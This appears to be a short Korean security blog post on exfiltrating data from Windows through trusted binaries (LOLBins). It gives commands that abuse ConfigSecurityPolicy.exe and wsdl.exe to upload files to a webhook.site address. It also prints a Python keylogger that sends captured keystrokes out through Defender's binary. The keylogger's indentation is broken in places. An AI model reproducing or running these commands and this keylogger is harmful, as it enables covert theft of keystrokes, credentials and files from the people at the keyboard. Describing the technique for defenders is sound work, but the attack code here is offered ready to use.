[하루한줄] Data Exfiltration with LOLBins

URL

Data Exfiltration with LOLBins

Target

  • Windows

Explain

Living off the land (LOL)은 시스템에 미리 설치된 신뢰할 수 있는 프로그램을 사용하여 악성코드를 전파하는 기법입니다. LOL에는 Windows 바이너리를 사용하여 악성 행위를 숨기는 LOLBins, 라이브러리를 사용하는 LOLLibs, 스크립트를 사용하는 LOLScripts 등의 다양한 기술이 있습니다. LOL에 관한 많은 트릭들은 LOLBAS 프로젝트에서 확인하실 수 있습니다.

Microsoft Windows Defender의 ConfigSecurityPolicy.exe를 통해 데이터를 유출할 수 있는 방법이 발견되었습니다.

ConfigSecurityPolicy.exe C:\temp\config.xml "https://webhook.site/4bce19be-2642-4f76-9e8e-7aea1448322d?sensitive_data"

위의 코드를 통해 webhook.siteC:\temp\config.xml 파일이 sensitive_data 파일로 업로드된 후 해당 파일을 확인할 수 있습니다.

또한 .NET Framework development environment에서 웹 서버 프록시를 생성할 수 있는 Microsoft Web Services Description Language Utility인 wsdl.exe를 통해 클라이언트 프록시를 생성하여 데이터를 유출할 수 있습니다.

wsdl.exe /server ttps://webhook.site/4bce19be-2642-4f76-9e8e-7aea1448322d?sensitive_data

해당 LOLBins를 통해 Windows defender의 로그를 추출하여 키로깅도 할 수 있습니다.

# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
uploader = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe"
content = ""
def on_press(key):
    global content
    global URL
    global uploader
    if str(key) == 'Key.backspace':
        content += ' '
    else:
        content += str(key)
print(f'last key: {str(key)}')
    print("")
if str(key) == 'Key.enter':
        upload_url = (f'{URL}?{content}')
        subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
        buffer = ''
if key == 0x03:
        sys.exit(0)
if __name__ == "__main__":
    try:
        with Listener(on_press=on_press) as listener:
            listener.join()
    except (KeyboardInterrupt, SystemExit):
        sys.exit(0)